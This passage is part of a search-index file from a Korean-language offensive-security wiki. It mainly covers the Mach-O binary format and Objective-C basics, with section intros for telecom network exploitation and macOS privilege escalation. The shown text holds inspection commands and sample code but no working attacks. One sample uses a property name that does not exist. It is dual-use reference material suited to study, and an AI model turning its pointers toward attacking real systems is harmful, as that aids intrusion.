*/\\nuint32_t\\tnreloc; /* number of relocation entries */\\nuint32_t\\tflags; /* flags (section type and attributes)*/\\nuint32_t\\treserved1;\\t/* reserved (for offset or index) */\\nuint32_t\\treserved2;\\t/* reserved (for count or sizeof) */\\nuint32_t\\treserved3;\\t/* reserved */\\n}; 예시 섹션 헤더 : 섹션 오프셋 (0x37DC) + 아키텍처 시작 오프셋 을 추가하면, 이 경우 0x18000 --> 0x37DC + 0x18000 = 0x1B7DC 명령줄 에서 헤더 정보 를 얻는 것도 가능합니다: bash otool -lv /bin/ls Common segments loaded by this cmd: __PAGEZERO: 커널에 주소 0 을 매핑 하라고 지시하여 읽거나, 쓸 수 없고, 실행할 수 없도록 합니다. 구조체의 maxprot 및 minprot 변수는 이 페이지에 읽기-쓰기-실행 권한이 없음 을 나타내기 위해 0으로 설정됩니다. 이 할당은 NULL 포인터 역참조 취약점 을 완화하는 데 중요합니다. 이는 XNU가 첫 번째 페이지(오직 첫 번째) 메모리가 접근할 수 없도록 보장하는 하드 페이지 제로를 시행하기 때문입니다(단, i386 제외). 이 요구 사항을 충족하기 위해 바이너리는 첫 4k를 커버하는 작은 __PAGEZERO를 제작하고 나머지 32비트 메모리를 사용자 및 커널 모드에서 접근 가능하게 할 수 있습니다. __TEXT : 읽기 및 실행 권한이 있는 실행 가능한 코드 를 포함합니다(쓰기 불가) . 이 세그먼트의 일반적인 섹션: __text: 컴파일된 바이너리 코드 __const: 상수 데이터(읽기 전용) __[c/u/os_log]string: C, 유니코드 또는 os 로그 문자열 상수 __stubs 및 __stubs_helper: 동적 라이브러리 로딩 과정에서 관련됨 __unwind_info: 스택 언와인드 데이터. 이 모든 콘텐츠는 서명되지만 실행 가능하다고도 표시되어 있습니다(문자열 전용 섹션과 같이 이 권한이 반드시 필요하지 않은 섹션의 악용 가능성을 높임). __DATA : 읽기 가능 하고 쓰기 가능 한 데이터를 포함합니다(실행 불가) . __got: 전역 오프셋 테이블 __nl_symbol_ptr: 비게으른(로드 시 바인딩) 심볼 포인터 __la_symbol_ptr: 게으른(사용 시 바인딩) 심볼 포인터 __const: 읽기 전용 데이터여야 함(실제로는 아님) __cfstring: CoreFoundation 문자열 __data: 초기화된 전역 변수 __bss: 초기화되지 않은 정적 변수 __objc_* (__objc_classlist, __objc_protolist 등): Objective-C 런타임에서 사용되는 정보 __DATA_CONST : __DATA.__const는 상수(쓰기 권한)가 보장되지 않으며, 다른 포인터와 GOT도 마찬가지입니다. 이 섹션은 mprotect를 사용하여 __const, 일부 초기화기 및 GOT 테이블(해결된 후)을 읽기 전용 으로 만듭니다. __LINKEDIT : 심볼, 문자열 및 재배치 테이블 항목과 같은 링커(dyld)에 대한 정보를 포함합니다. __TEXT 또는 __DATA에 없는 콘텐츠를 위한 일반 컨테이너이며, 그 내용은 다른 로드 명령에서 설명됩니다. dyld 정보: 재배치, 비게으른/게으른/약한 바인딩 opcode 및 내보내기 정보 함수 시작: 함수의 시작 주소 테이블 코드 내 데이터: __text의 데이터 섬 심볼 테이블: 바이너리의 심볼 간접 심볼 테이블: 포인터/스텁 심볼 문자열 테이블 코드 서명 __OBJC : Objective-C 런타임에서 사용되는 정보를 포함합니다. 이 정보는 __DATA 세그먼트의 다양한 __objc_* 섹션에서도 발견될 수 있습니다. __RESTRICT : 내용이 없는 세그먼트로, **__restrict**라는 단일 섹션(비어 있음)을 포함하여 바이너리를 실행할 때 DYLD 환경 변수를 무시하도록 보장합니다. 코드에서 볼 수 있듯이, 세그먼트는 플래그도 지원합니다 (비록 많이 사용되지는 않지만): SG_HIGHVM: 코어 전용(사용되지 않음) SG_FVMLIB: 사용되지 않음 SG_NORELOC: 세그먼트에 재배치 없음 SG_PROTECTED_VERSION_1: 암호화. 예를 들어 Finder가 __TEXT 세그먼트를 암호화하는 데 사용됩니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Universal binaries & Mach-O Format » LC_SEGMENT/LC_SEGMENT_64","id":"2288","title":"LC_SEGMENT/LC_SEGMENT_64"},"2289":{"body":"**LC_MAIN**은 entryoff 속성 에 있는 진입점을 포함합니다. 로드 시, dyld 는 이 값을 (메모리 내) 바이너리의 기본 주소 에 추가 한 다음, 이 명령어로 점프 하여 바이너리 코드의 실행을 시작합니다. **LC_UNIXTHREAD**는 메인 스레드를 시작할 때 레지스터가 가져야 할 값을 포함합니다. 이는 이미 사용 중단되었지만 **dyld**는 여전히 사용합니다. 이로 설정된 레지스터의 값을 확인할 수 있습니다: bash otool -l /usr/lib/dyld\\n[...]\\nLoad command 13\\ncmd LC_UNIXTHREAD\\ncmdsize 288\\nflavor ARM_THREAD_STATE64\\ncount ARM_THREAD_STATE64_COUNT\\nx0 0x0000000000000000 x1 0x0000000000000000 x2 0x0000000000000000\\nx3 0x0000000000000000 x4 0x0000000000000000 x5 0x0000000000000000\\nx6 0x0000000000000000 x7 0x0000000000000000 x8 0x0000000000000000\\nx9 0x0000000000000000 x10 0x0000000000000000 x11 0x0000000000000000\\nx12 0x0000000000000000 x13 0x0000000000000000 x14 0x0000000000000000\\nx15 0x0000000000000000 x16 0x0000000000000000 x17 0x0000000000000000\\nx18 0x0000000000000000 x19 0x0000000000000000 x20 0x0000000000000000\\nx21 0x0000000000000000 x22 0x0000000000000000 x23 0x0000000000000000\\nx24 0x0000000000000000 x25 0x0000000000000000 x26 0x0000000000000000\\nx27 0x0000000000000000 x28 0x0000000000000000 fp 0x0000000000000000\\nlr 0x0000000000000000 sp 0x0000000000000000 pc 0x0000000000004b70\\ncpsr 0x00000000 [...]","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Universal binaries & Mach-O Format » LC_UNIXTHREAD/LC_MAIN","id":"2289","title":"LC_UNIXTHREAD/LC_MAIN"},"229":{"body":"Legless – IPv6 Penetration Testing mitm6 RFC 8106 – IPv6 ND DNS Configuration http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904 Practical Guide to IPv6 Attacks in a Local Network FiberGateway GR241AG – Full Exploit Chain tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Pentesting Network » Pentesting IPv6 » 참조","id":"229","title":"참조"},"2290":{"body":"Mach-O 파일의 코드 서명 에 대한 정보를 포함합니다. 이는 서명 블롭 을 가리키는 오프셋 만 포함합니다. 일반적으로 파일의 맨 끝에 위치합니다. 그러나 이 섹션에 대한 일부 정보는 이 블로그 게시물 과 이 gists 에서 찾을 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Universal binaries & Mach-O Format » LC_CODE_SIGNATURE","id":"2290","title":"LC_CODE_SIGNATURE"},"2291":{"body":"바이너리 암호화에 대한 지원. 그러나 물론, 공격자가 프로세스를 손상시키면 메모리를 암호화되지 않은 상태로 덤프할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Universal binaries & Mach-O Format » LC_ENCRYPTION_INFO[_64]","id":"2291","title":"LC_ENCRYPTION_INFO[_64]"},"2292":{"body":"프로세스 주소 공간에 공유 라이브러리를 매핑하는 동적 링커 실행 파일 의 경로 를 포함합니다. 값은 항상 /usr/lib/dyld로 설정됩니다 . macOS에서는 dylib 매핑이 커널 모드 가 아닌 사용자 모드 에서 발생한다는 점에 유의하는 것이 중요합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Universal binaries & Mach-O Format » LC_LOAD_DYLINKER","id":"2292","title":"LC_LOAD_DYLINKER"},"2293":{"body":"구식이지만 패닉 시 덤프를 생성하도록 구성되면 Mach-O 코어 덤프가 생성되고 커널 버전이 LC_IDENT 명령에 설정됩니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Universal binaries & Mach-O Format » LC_IDENT","id":"2293","title":"LC_IDENT"},"2294":{"body":"무작위 UUID. XNU가 나머지 프로세스 정보와 함께 캐시하므로 직접적으로 유용합니다. 충돌 보고서에서 사용할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Universal binaries & Mach-O Format » LC_UUID","id":"2294","title":"LC_UUID"},"2295":{"body":"프로세스가 실행되기 전에 dyld에 환경 변수를 지정할 수 있습니다. 이는 프로세스 내에서 임의의 코드를 실행할 수 있게 하므로 매우 위험할 수 있습니다. 따라서 이 로드 명령은 #define SUPPORT_LC_DYLD_ENVIRONMENT로 빌드된 dyld에서만 사용되며, 로드 경로를 지정하는 DYLD_..._PATH 형식의 변수로만 처리하도록 추가 제한됩니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Universal binaries & Mach-O Format » LC_DYLD_ENVIRONMENT","id":"2295","title":"LC_DYLD_ENVIRONMENT"},"2296":{"body":"이 로드 명령은 동적 라이브러리 의존성을 설명하며, 로더 (dyld)에게 해당 라이브러리를 로드하고 링크하라고 지시합니다 . Mach-O 바이너리가 요구하는 각 라이브러리 에 대해 LC_LOAD_DYLIB 로드 명령이 있습니다. 이 로드 명령은 dylib_command 유형의 구조체입니다(실제 의존 동적 라이브러리를 설명하는 struct dylib 포함): objectivec struct dylib_command {\\nuint32_t cmd; /* LC_LOAD_{,WEAK_}DYLIB */\\nuint32_t cmdsize; /* includes pathname string */\\nstruct dylib dylib; /* the library identification */\\n}; struct dylib {\\nunion lc_str name; /* library\'s path name */\\nuint32_t timestamp; /* library\'s build time stamp */\\nuint32_t current_version; /* library\'s current version number */\\nuint32_t compatibility_version; /* library\'s compatibility vers number*/\\n}; 이 정보를 cli를 통해서도 얻을 수 있습니다: bash otool -L /bin/ls\\n/bin/ls:\\n/usr/lib/libutil.dylib (compatibility version 1.0.0, current version 1.0.0)\\n/usr/lib/libncurses.5.4.dylib (compatibility version 5.4.0, current version 5.4.0)\\n/usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1319.0.0) 일부 잠재적인 맬웨어 관련 라이브러리는 다음과 같습니다: DiskArbitration : USB 드라이브 모니터링 AVFoundation: 오디오 및 비디오 캡처 CoreWLAN : Wifi 스캔. note Mach-O 바이너리는 LC_MAIN 에 지정된 주소 이전 에 실행 될 하나 또는 여러 개의 생성자 를 포함할 수 있습니다. 모든 생성자의 오프셋은 __DATA_CONST 세그먼트의 __mod_init_func 섹션에 저장됩니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Universal binaries & Mach-O Format » LC_LOAD_DYLIB","id":"2296","title":"LC_LOAD_DYLIB"},"2297":{"body":"파일의 핵심은 데이터 영역으로, 로드 명령 영역에 정의된 여러 세그먼트로 구성됩니다. 각 세그먼트 내에는 다양한 데이터 섹션이 포함될 수 있으며 , 각 섹션은 특정 유형에 대한 코드 또는 데이터 를 보유합니다. tip 데이터는 기본적으로 로드 명령 LC_SEGMENTS_64 에 의해 로드되는 모든 정보 를 포함하는 부분입니다. https://www.oreilly.com/api/v2/epubs/9781785883378/files/graphics/B05055_02_38.jpg 여기에는 다음이 포함됩니다: 함수 테이블: 프로그램 함수에 대한 정보를 보유합니다. 심볼 테이블 : 바이너리에서 사용되는 외부 함수에 대한 정보를 포함합니다. 내부 함수, 변수 이름 등도 포함될 수 있습니다. 확인하려면 Mach-O View 도구를 사용할 수 있습니다: 또는 CLI에서: bash size -m /bin/ls","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Universal binaries & Mach-O Format » Mach-O 데이터","id":"2297","title":"Mach-O 데이터"},"2298":{"body":"In __TEXT segment (r-x): __objc_classname: 클래스 이름 (문자열) __objc_methname: 메서드 이름 (문자열) __objc_methtype: 메서드 유형 (문자열) In __DATA segment (rw-): __objc_classlist: 모든 Objetive-C 클래스에 대한 포인터 __objc_nlclslist: 비지연 Objective-C 클래스에 대한 포인터 __objc_catlist: 카테고리에 대한 포인터 __objc_nlcatlist: 비지연 카테고리에 대한 포인터 __objc_protolist: 프로토콜 목록 __objc_const: 상수 데이터 __objc_imageinfo, __objc_selrefs, objc__protorefs...","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Universal binaries & Mach-O Format » Objetive-C 공통 섹션","id":"2298","title":"Objetive-C 공통 섹션"},"2299":{"body":"_swift_typeref, _swift3_capture, _swift3_assocty, _swift3_types, _swift3_proto, _swift3_fieldmd, _swift3_builtin, _swift3_reflstr tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Files, Folders, Binaries & Memory » macOS Universal binaries & Mach-O Format » Swift","id":"2299","title":"Swift"},"23":{"body":"우선, 다른 사이트의 연구에서 나온 기술에 대한 모든 크레딧은 원저자에게 속한다는 점을 명시할 필요가 있습니다 (페이지에 참고 문헌이 있습니다). 인터넷 보안을 향상시키기 위해 지식을 공유하는 모든 연구에 경의를 표합니다. HackTricks는 Carlos가 이끄는 사이버 보안 에 대한 지식을 모은 교육용 위키로, 수백 명의 협력자가 있습니다! 이는 커뮤니티에 의해 가능한 한 최신 상태로 유지되는 해킹 기술의 방대한 모음 입니다. 누락되거나 오래된 내용이 있으면, Pull Request 를 Hacktricks Github 로 보내주세요! HackTricks는 또한 많은 연구자들이 최신 발견을 공유하는 위키 이므로, 최신 해킹 기술을 따라잡기에 좋은 장소입니다. tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"About the author » 안녕하세요!!","id":"23","title":"안녕하세요!!"},"230":{"body":"Reading time: 9 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. note Mobile-core protocols (GPRS Tunnelling Protocol – GTP) 종종 반신뢰된 GRX/IPX roaming 백본을 통과합니다. 평문 UDP로 전송되고 거의 인증이 없기 때문에, any foothold inside a telecom perimeter can usually reach core signalling planes directly . 다음 노트는 SGSN/GGSN, PGW/SGW 및 기타 EPC 노드에 대해 현장에서 관찰된 offensive tricks를 모아둔 것입니다.","breadcrumbs":"Pentesting Network » Telecom Network Exploitation » 텔레콤 네트워크 악용 (GTP / Roaming Environments)","id":"230","title":"텔레콤 네트워크 악용 (GTP / Roaming Environments)"},"2300":{"body":"Reading time: 7 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Objective-C » macOS Objective-C","id":"2300","title":"macOS Objective-C"},"2301":{"body":"caution Objective-C로 작성된 프로그램은 Mach-O binaries 로 컴파일 될 때 클래스 선언 을 유지 합니다. 이러한 클래스 선언에는 다음의 이름과 유형이 포함 됩니다: 클래스 클래스 메서드 클래스 인스턴스 변수 이 정보를 class-dump 를 사용하여 얻을 수 있습니다: bash class-dump Kindle.app 이 이름들은 이진 파일의 리버싱을 더 어렵게 만들기 위해 난독화될 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Objective-C » Objective-C","id":"2301","title":"Objective-C"},"2302":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Objective-C » 클래스, 메서드 및 객체","id":"2302","title":"클래스, 메서드 및 객체"},"2303":{"body":"objectivec // Declare the interface of the class\\n@interface MyVehicle : NSObject // Declare the properties\\n@property NSString *vehicleType;\\n@property int numberOfWheels; // Declare the methods\\n- (void)startEngine;\\n- (void)addWheels:(int)value; @end","breadcrumbs":"macOS Security & Privilege Escalation » macOS Objective-C » 인터페이스, 속성 및 메서드","id":"2303","title":"인터페이스, 속성 및 메서드"},"2304":{"body":"objectivec @implementation MyVehicle : NSObject // No need to indicate the properties, only define methods - (void)startEngine {\\nNSLog(@\\"Engine started\\");\\n} - (void)addWheels:(int)value {\\nself.numberOfWheels += value;\\n} @end","breadcrumbs":"macOS Security & Privilege Escalation » macOS Objective-C » 클래스","id":"2304","title":"클래스"},"2305":{"body":"클래스의 인스턴스를 생성하기 위해 alloc 메서드가 호출되어 각 속성 에 대한 메모리 를 할당 하고 해당 할당을 제로 로 설정합니다. 그런 다음 **init**이 호출되어 속성 을 필요한 값 으로 초기화 합니다. objectivec // Something like this:\\nMyVehicle *newVehicle = [[MyVehicle alloc] init]; // Which is usually expressed as:\\nMyVehicle *newVehicle = [MyVehicle new]; // To call a method\\n// [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]\\n[newVehicle addWheels:4];","breadcrumbs":"macOS Security & Privilege Escalation » macOS Objective-C » 객체 및 메서드 호출","id":"2305","title":"객체 및 메서드 호출"},"2306":{"body":"클래스 메서드는 인스턴스 메서드에 사용되는 하이픈 (-) 대신 플러스 기호 (+)로 정의됩니다. NSString 클래스 메서드 **stringWithString**와 같이: objectivec + (id)stringWithString:(NSString *)aString;","breadcrumbs":"macOS Security & Privilege Escalation » macOS Objective-C » 클래스 메서드","id":"2306","title":"클래스 메서드"},"2307":{"body":"속성을 설정 하고 가져오기 위해, 점 표기법 을 사용하거나 메서드를 호출 하는 것처럼 할 수 있습니다: objectivec // Set\\nnewVehicle.numberOfWheels = 2;\\n[newVehicle setNumberOfWheels:3]; // Get\\nNSLog(@\\"Number of wheels: %i\\", newVehicle.numberOfWheels);\\nNSLog(@\\"Number of wheels: %i\\", [newVehicle numberOfWheels]);","breadcrumbs":"macOS Security & Privilege Escalation » macOS Objective-C » Setter & Getter","id":"2307","title":"Setter & Getter"},"2308":{"body":"setter 및 getter 메서드 대신 인스턴스 변수를 사용할 수 있습니다. 이러한 변수는 속성과 동일한 이름을 가지지만 \\"_\\"로 시작합니다: objectivec - (void)makeLongTruck {\\n_numberOfWheels = +10000;\\nNSLog(@\\"Number of wheels: %i\\", self.numberOfLeaves);\\n}","breadcrumbs":"macOS Security & Privilege Escalation » macOS Objective-C » 인스턴스 변수","id":"2308","title":"인스턴스 변수"},"2309":{"body":"프로토콜은 메서드 선언의 집합입니다(속성 없이). 프로토콜을 구현하는 클래스는 선언된 메서드를 구현합니다. 메서드는 필수 와 선택적 의 2가지 유형이 있습니다. 기본적으로 메서드는 필수 입니다(하지만 @required 태그로도 표시할 수 있습니다). 메서드가 선택적임을 나타내려면 **@optional**을 사용하십시오. objectivec @protocol myNewProtocol\\n- (void) method1; //mandatory\\n@required\\n- (void) method2; //mandatory\\n@optional\\n- (void) method3; //optional\\n@end","breadcrumbs":"macOS Security & Privilege Escalation » macOS Objective-C » 프로토콜","id":"2309","title":"프로토콜"},"231":{"body":"","breadcrumbs":"Pentesting Network » Telecom Network Exploitation » 1. Recon & Initial Access","id":"231","title":"1. Recon & Initial Access"},"2310":{"body":"objectivec // gcc -framework Foundation test_obj.m -o test_obj\\n#import @protocol myVehicleProtocol\\n- (void) startEngine; //mandatory\\n@required\\n- (void) addWheels:(int)value; //mandatory\\n@optional\\n- (void) makeLongTruck; //optional\\n@end @interface MyVehicle : NSObject @property int numberOfWheels; - (void)startEngine;\\n- (void)addWheels:(int)value;\\n- (void)makeLongTruck; @end @implementation MyVehicle : NSObject - (void)startEngine {\\nNSLog(@\\"Engine started\\");\\n} - (void)addWheels:(int)value {\\nself.numberOfWheels += value;\\n} - (void)makeLongTruck {\\n_numberOfWheels = +10000;\\nNSLog(@\\"Number of wheels: %i\\", self.numberOfWheels);\\n} @end int main() {\\nMyVehicle* mySuperCar = [MyVehicle new];\\n[mySuperCar startEngine];\\nmySuperCar.numberOfWheels = 4;\\nNSLog(@\\"Number of wheels: %i\\", mySuperCar.numberOfWheels);\\n[mySuperCar setNumberOfWheels:3];\\nNSLog(@\\"Number of wheels: %i\\", mySuperCar.numberOfWheels);\\n[mySuperCar makeLongTruck];\\n}","breadcrumbs":"macOS Security & Privilege Escalation » macOS Objective-C » 모두 함께","id":"2310","title":"모두 함께"},"2311":{"body":"문자열 objectivec // NSString\\nNSString *bookTitle = @\\"The Catcher in the Rye\\";\\nNSString *bookAuthor = [[NSString alloc] initWithCString:\\"J.D. Salinger\\" encoding:NSUTF8StringEncoding];\\nNSString *bookPublicationYear = [NSString stringWithCString:\\"1951\\" encoding:NSUTF8StringEncoding]; 기본 클래스는 불변 하므로 기존 문자열에 문자열을 추가하려면 새 NSString을 생성해야 합니다 . objectivec NSString *bookDescription = [NSString stringWithFormat:@\\"%@ by %@ was published in %@\\", bookTitle, bookAuthor, bookPublicationYear]; 또는 mutable 문자열 클래스를 사용할 수도 있습니다: objectivec NSMutableString *mutableString = [NSMutableString stringWithString:@\\"The book \\"];\\n[mutableString appendString:bookTitle];\\n[mutableString appendString:@\\" was written by \\"];\\n[mutableString appendString:bookAuthor];\\n[mutableString appendString:@\\" and published in \\"];\\n[mutableString appendString:bookPublicationYear]; 번호 objectivec // character literals.\\nNSNumber *theLetterZ = @\'Z\'; // equivalent to [NSNumber numberWithChar:\'Z\'] // integral literals.\\nNSNumber *fortyTwo = @42; // equivalent to [NSNumber numberWithInt:42]\\nNSNumber *fortyTwoUnsigned = @42U; // equivalent to [NSNumber numberWithUnsignedInt:42U]\\nNSNumber *fortyTwoLong = @42L; // equivalent to [NSNumber numberWithLong:42L]\\nNSNumber *fortyTwoLongLong = @42LL; // equivalent to [NSNumber numberWithLongLong:42LL] // floating point literals.\\nNSNumber *piFloat = @3.141592654F; // equivalent to [NSNumber numberWithFloat:3.141592654F]\\nNSNumber *piDouble = @3.1415926535; // equivalent to [NSNumber numberWithDouble:3.1415926535] // BOOL literals.\\nNSNumber *yesNumber = @YES; // equivalent to [NSNumber numberWithBool:YES]\\nNSNumber *noNumber = @NO; // equivalent to [NSNumber numberWithBool:NO] 배열, 집합 및 사전 objectivec // Inmutable arrays\\nNSArray *colorsArray1 = [NSArray arrayWithObjects:@\\"red\\", @\\"green\\", @\\"blue\\", nil];\\nNSArray *colorsArray2 = @[@\\"yellow\\", @\\"cyan\\", @\\"magenta\\"];\\nNSArray *colorsArray3 = @[firstColor, secondColor, thirdColor]; // Mutable arrays\\nNSMutableArray *mutColorsArray = [NSMutableArray array];\\n[mutColorsArray addObject:@\\"red\\"];\\n[mutColorsArray addObject:@\\"green\\"];\\n[mutColorsArray addObject:@\\"blue\\"];\\n[mutColorsArray addObject:@\\"yellow\\"];\\n[mutColorsArray replaceObjectAtIndex:0 withObject:@\\"purple\\"]; // Inmutable Sets\\nNSSet *fruitsSet1 = [NSSet setWithObjects:@\\"apple\\", @\\"banana\\", @\\"orange\\", nil];\\nNSSet *fruitsSet2 = [NSSet setWithArray:@[@\\"apple\\", @\\"banana\\", @\\"orange\\"]]; // Mutable sets\\nNSMutableSet *mutFruitsSet = [NSMutableSet setWithObjects:@\\"apple\\", @\\"banana\\", @\\"orange\\", nil];\\n[mutFruitsSet addObject:@\\"grape\\"];\\n[mutFruitsSet removeObject:@\\"apple\\"]; // Dictionary\\nNSDictionary *fruitColorsDictionary = @{\\n@\\"apple\\" : @\\"red\\",\\n@\\"banana\\" : @\\"yellow\\",\\n@\\"orange\\" : @\\"orange\\",\\n@\\"grape\\" : @\\"purple\\"\\n}; // In dictionaryWithObjectsAndKeys you specify the value and then the key:\\nNSDictionary *fruitColorsDictionary2 = [NSDictionary dictionaryWithObjectsAndKeys:\\n@\\"red\\", @\\"apple\\",\\n@\\"yellow\\", @\\"banana\\",\\n@\\"orange\\", @\\"orange\\",\\n@\\"purple\\", @\\"grape\\",\\nnil]; // Mutable dictionary\\nNSMutableDictionary *mutFruitColorsDictionary = [NSMutableDictionary dictionaryWithDictionary:fruitColorsDictionary];\\n[mutFruitColorsDictionary setObject:@\\"green\\" forKey:@\\"apple\\"];\\n[mutFruitColorsDictionary removeObjectForKey:@\\"grape\\"];","breadcrumbs":"macOS Security & Privilege Escalation » macOS Objective-C » 기본 클래스","id":"2311","title":"기본 클래스"},"2312":{"body":"블록은 객체처럼 동작하는 함수 로, 함수에 전달되거나 배열 이나 사전 에 저장 될 수 있습니다. 또한, 값이 주어지면 값을 나타낼 수 있어 람다와 유사합니다. objectivec returnType (^blockName)(argumentType1, argumentType2, ...) = ^(argumentType1 param1, argumentType2 param2, ...){\\n//Perform operations here\\n}; // For example int (^suma)(int, int) = ^(int a, int b){\\nreturn a+b;\\n};\\nNSLog(@\\"3+4 = %d\\", suma(3,4)); 함수에서 매개변수로 사용될 블록 유형을 정의하는 것도 가능합니다: objectivec // Define the block type\\ntypedef void (^callbackLogger)(void); // Create a bloack with the block type\\ncallbackLogger myLogger = ^{\\nNSLog(@\\"%@\\", @\\"This is my block\\");\\n}; // Use it inside a function as a param\\nvoid genericLogger(callbackLogger blockParam) {\\nNSLog(@\\"%@\\", @\\"This is my function\\");\\nblockParam();\\n}\\ngenericLogger(myLogger); // Call it inline\\ngenericLogger(^{\\nNSLog(@\\"%@\\", @\\"This is my second block\\");\\n});","breadcrumbs":"macOS Security & Privilege Escalation » macOS Objective-C » 블록","id":"2312","title":"블록"},"2313":{"body":"objectivec // Manager to manage files\\nNSFileManager *fileManager = [NSFileManager defaultManager]; // Check if file exists:\\nif ([fileManager fileExistsAtPath:@\\"/path/to/file.txt\\" ] == YES) {\\nNSLog (@\\"File exists\\");\\n} // copy files\\nif ([fileManager copyItemAtPath: @\\"/path/to/file1.txt\\" toPath: @\\"/path/to/file2.txt\\" error:nil] == YES) {\\nNSLog (@\\"Copy successful\\");\\n} // Check if the content of 2 files match\\nif ([fileManager contentsEqualAtPath:@\\"/path/to/file1.txt\\" andPath:@\\"/path/to/file2.txt\\"] == YES) {\\nNSLog (@\\"File contents match\\");\\n} // Delete file\\nif ([fileManager removeItemAtPath:@\\"/path/to/file1.txt\\" error:nil]) {\\nNSLog(@\\"Removed successfully\\");\\n} 파일을 NSString 객체 대신 NSURL 객체를 사용하여 관리하는 것도 가능합니다. 메서드 이름은 비슷하지만 Path 대신 **URL**을 사용합니다. objectivec tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Objective-C » 파일","id":"2313","title":"파일"},"2314":{"body":"Reading time: 8 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Privilege Escalation » macOS 권한 상승","id":"2314","title":"macOS 권한 상승"},"2315":{"body":"TCC 권한 상승을 찾고 계신다면 다음으로 가세요: macOS TCC","breadcrumbs":"macOS Security & Privilege Escalation » macOS Privilege Escalation » TCC 권한 상승","id":"2315","title":"TCC 권한 상승"},"2316":{"body":"리눅스/유닉스에 